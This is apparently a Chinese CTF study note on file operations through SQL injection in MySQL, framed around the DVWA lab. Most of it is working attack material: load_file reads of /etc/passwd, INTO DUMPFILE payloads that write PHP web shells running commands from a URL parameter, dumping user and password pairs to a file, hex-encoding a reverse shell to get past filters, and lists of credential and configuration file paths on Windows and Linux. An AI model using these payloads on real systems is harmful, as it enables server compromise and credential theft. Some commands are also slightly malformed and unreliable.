WEB-CTF中的SQL文件操作

— 从零开始的笔记 —
— sql文件操作及过滤 —

SQL文件操作

以下windows操作可以在phpstudy的dvwa上复现,linux操作可以在Metasploitable2的dvwa上复现。

读取文件 load_file

读取文件前提:

  • 文件必须位于服务器主机上
  • 必须指定完整路径的文件
  • 必须有FILE权限
  • 文件内容必须小于max_allowed_packet (show VARIABLES like ‘%max_allowed_packet%’; 查看)
  • secure_file_priv不为NULL

在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。可以通过以下方式修改
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

使用格式:load_file(‘路径’)

1
2
3
4
5
6
#windows
select load_file('d:/kali.txt') #路径为单引号Str,斜杠是/而不是\
select load_file(0x643a2f6b616c692e747874) #路径为0x16进制Str
select load_file(char(99,58,47,98....)) #路径为char转换的字符
#linux
select load_file'/etc/passwd'

关于过滤:
防止文件中有截断:hex(load_file(‘文件地址’))

load data infile()

load data infile '/tmp/1.txt' into table user;
load data infile 'D:/Equipment/phpstudy/MySQL/test.txt' into table user fields terminated by ',';:源文件按照,在表中分列

system cat

在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件

  • 此方法只能在本地读取,远程连接mysql时无法使用system。
  • 无法越权读取。

    写入文件 INTO DUMPFILE

    使用格式:“内容” INTO DUMPFILE “路径”
    1
    2
    3
    4
    5
    6
    7
    8
    #windows
    select "<?php system($_GET['cmd']); ?>" INTO DUMPFILE "D:/PHP/WWW/cmd.php"
    #linux
    select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php"
    #下一条默认保存在/var/lib/mysql/dvwa/a.php (默认保存路径根据系统用户而定)
    #(/var/lib/mysql 是 mysql的主目录,dvwa是SQL注入漏洞的网站主目录)
    select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php"
    select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"

因为Linux用户之间的读取,写入,执行权限严格。
假设做数据库写入文件操作的用户为MYSQL,而网站目录的用户为WWW。

  • 第一种情况,mysql用户不能往WWW用户的目录写入文件,我们就无法访问木马文件,从而不能利用。写入无效。
  • 第二种情况,dvwa目录只有mysql用户和root有权限,www无法进入读写,所以mysql植入木马,www网站也没有权限访问木马。写入成功,执行无效
  • 第三种情况,tmp目录为所有用户都可以访问的目录(mysql 可以写入,www 可以读出),此时www用户通过文件包含漏洞去“执行”木马
    ps.(文件包含漏洞是读取文件进来执行,不是真正的需要对文件执行权限)

此外,还可以查询数据存至目标主机,再加以利用

1
select concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'

关于过滤:
文件转为16进制(INTO DUMPFILE会自动变为正常字符保存)

1
2
3
4
5
6
cat php-reverse-shell.php | xxd -ps     
#用xxd进行16进制显示,但是每一行长固定,后面有换行符,sql无法翻译
cat php-reverse-shell.php | xxd -ps | tr -d '\n' 用xxd进行16进制显示,删除换行符
ps. php-reverse-shell.php 木马文件太大 url长度限制 无法上传 可换小型php木马
' union select null,(空格)(0xcccccc) INTO DUMPFILE "/tmp/1.php" --+
ps. 注意 文件16进制编码填入cccccc

常用路径

windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#查看系统版本
c:/boot.ini
#php配置信息
c:/windows/php.ini
#MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/windows/my.ini
c:/winnt/php.ini
c:/winnt/my.ini
#存储了mysql.user表中的数据库连接密码
c:\mysql\data\mysql\user.MYD
#存储了虚拟主机网站路径和密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\Program Files\Serv-U\ServUDaemon.ini
#查看IIS的虚拟主机配置
c:\windows\system32\inetsrv\MetaBase.xml
#存储了WINDOWS系统初次安装的密码
c:\windows\repair\sam
#6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\ Serv-U\ServUAdmin.exe
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
#存储了pcAnywhere的登陆密码
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
#查看WINDOWS系统apache文件
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf
#查看jsp开发的网站 resin文件配置信息.
c:/Resin-3.0.14/conf/resin.conf
#查看linux系统配置的JSP虚拟主机
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
#存在MYSQL系统中的用户密码
C:\mysql\data\mysql\user.MYD

Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#apache2缺省配置文件
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
#虚拟网站设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#PHP相关设置
/usr/local/app/php5/lib/php.ini
#从中得到防火墙规则策略
/etc/sysconfig/iptables
#apache配置文件
/etc/httpd/conf/httpd.conf
#同步程序配置文件
/etc/rsyncd.conf
#mysql的配置文件
/etc/my.cnf
#系统版本
/etc/redhat-release
/etc/issue
/etc/issue.net
#PHP相关设置
/usr/local/app/php5/lib/php.ini
#虚拟网站设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#查看linux APACHE虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf
#针对3.0.22的RESIN配置文件查看
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
#APASHE虚拟主机查看
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#查看linux APACHE虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf
#针对3.0.22的RESIN配置文件查看
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
#APASHE虚拟主机查看
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf